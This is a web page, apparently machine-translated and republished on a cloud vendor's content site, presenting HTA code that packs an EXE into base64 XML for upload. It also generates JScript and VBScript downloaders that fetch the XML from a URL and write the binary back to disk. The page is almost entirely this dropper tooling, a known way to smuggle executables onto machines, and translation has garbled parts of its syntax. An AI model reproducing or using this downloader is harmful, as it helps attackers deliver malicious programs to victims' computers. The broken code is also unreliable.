XMLDOM Downloader Generator Code (XMLDOWN.HTA) _hta

Source: Internet
Author: User
Tags generator sleep visibility
The following code is saved as HTA files and can be generated by JS and VBS downloads
Copy Code code as follows:

Id= "Xmldown"
caption= "Yes"
Scroll= "Auto"
Border= "None"
borderstyle= "Static"
Singleinstance= "Yes"
Maximizebutton= "No"
Border= "No"
icon= "Dxdiag.exe" >
<script language=vbs>

Sub Window_onload
Window.resizeto SCREEN.WIDTH/1.6,SCREEN.HEIGHT/3
Window.moveto 200,200

End Sub

Sub Createxml (Path,file)

Set objstream = CreateObject ("ADODB. Stream ")
objStream.Type = 1
objStream.Open ()
objStream.LoadFromFile (Path)
objstream.position = 0

Set xmldoc = CreateObject ("Microsoft.XMLDOM")
Xmldoc.async = False
Set Root = xmldoc.createprocessinginstruction ("xml", "version= ' 1.0 ' encoding= ' UTF-8 '")
Xmldoc.appendchild (Root)
Xmldoc.appendchild (xmldoc.createelement ("root"))
Set XFile = Xmldoc.selectsinglenode ("//root"). AppendChild (xmldoc.createelement ("file"))
Set XStream = Xfile.appendchild (xmldoc.createelement ("stream"))
Xstream.setattribute "Xmlns:dt", "Urn:schemas-microsoft-com:datatypes"
Xstream.datatype = "Bin.base64"
Xstream.nodetypedvalue = Objstream.read ()
Xmldoc.save (File)
Set xmldoc = Nothing
Set Root = Nothing
Set objstream=nothing


End Sub

Function x (obj)
Set X=document.getelementbyid (obj)
End Function

Function FindFile (str)
Set FSO = CreateObject ("Scripting.FileSystemObject")
If FSO. FileExists (str) Then
Findfile=true
Else
Findfile=false
End If
End Function

Function Jsdown ()
Set FSO = CreateObject ("Scripting.FileSystemObject")
With Fso.opentextfile ((CreateObject ("Wscript.Shell")). currentdirectory& "\jsdown.js", 2,true)
. Write X ("Jsdown"). Value
End With
End Function

Function Vbsdown ()
Set FSO = CreateObject ("Scripting.FileSystemObject")
With Fso.opentextfile ((CreateObject ("Wscript.Shell")). currentdirectory& "\vbsdown.vbs", 2,true)
. Write X ("Vbsdown"). Value
End With
End Function
</script>
<body>
Select EXE file to download: <input type=file name= "file1" id= "File1" size= ">"
Save path <input type=text name= "path" id= "pathname" value= "C:\down.xml" size= ">"
<input type= "button" value= "Generate XML File" onclick= ' Vbs:createxml x ("File1"). Value,x ("pathname"). Value:if findfile ("x" Pathname "). Value) = True Then MsgBox (" Build succeeded, upload to a space "): X (" url "). innerhtml=" <font color=red> build success, please upload to a space </ Font> "' > <br>
<button onclick= ' Vbs:jsdown (): If findfile ("jsdown.js") = True Then MsgBox "Build Success": X ("url"). innerhtml= "Usage is cscript Jsdown.js xmlurl savepath "' > Generate JS downloader </button><button onclick= ' Vbs:vbsdown (): If findfile (" vbsdown.vbs ") = True Then MsgBox "Build Success": X ("url"). innerhtml= "<font color=blue> usage is cscript vbsdown.js xmlurl "' > Generate VBS downloader </button><br><br><br><br>
<div id= "url" ></div>

<textarea style= "Visibility:hidden" Name=jswodn id=jsdown rows= "1" cols= "1" >
var objargs = wscript.arguments;
var objxmlfile =new ActiveXObject ("Microsoft.XMLDOM");
Objxmlfile.async=false;
Objxmlfile.load (Objargs (0). toLowerCase ());
Todo
{
Wscript.Sleep (100);
}
while (!objxmlfile.readystate = 4)

if (objxmlfile.readystate = 4)
{
var objstream = new ActiveXObject ("ADODB. Stream ")
var objnodelist =objxmlfile.getelementsbytagname ("stream") [0].nodetypedvalue

With (objstream)
{
objStream.Type = 1;
objStream.Open ();
Objstream.write (objnodelist);
Objstream.savetofile (Objargs (1). toLowerCase (), 2);
objStream.Close ();
}
}

Delete Objxmlfile;
Delete objstream;

</textarea>

<textarea style= "Visibility:hidden" Name=vbswodn id=vbsdown rows= "1" cols= "1" >
Set Objxmlfile = CreateObject ("Microsoft.XMLDOM")
Objxmlfile.async=false
Objxmlfile.load (wscript.arguments (0))
Do While objxmlfile.readystate<>4
Wscript.Sleep 100
Loop
If objxmlfile.readystate = 4 Then

Set objnodelist = objXmlFile.documentElement.selectNodes ("//file/stream")
Set objstream = CreateObject ("ADODB. Stream ")
With Objstream
. Type = 1
. Open
. Write objnodelist (0). nodeTypedValue
. SaveToFile wscript.arguments (1), 2
. Close
End With
Set objstream = Nothing

End If

Set Objxmlfile = Nothing
</textarea>
</body>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.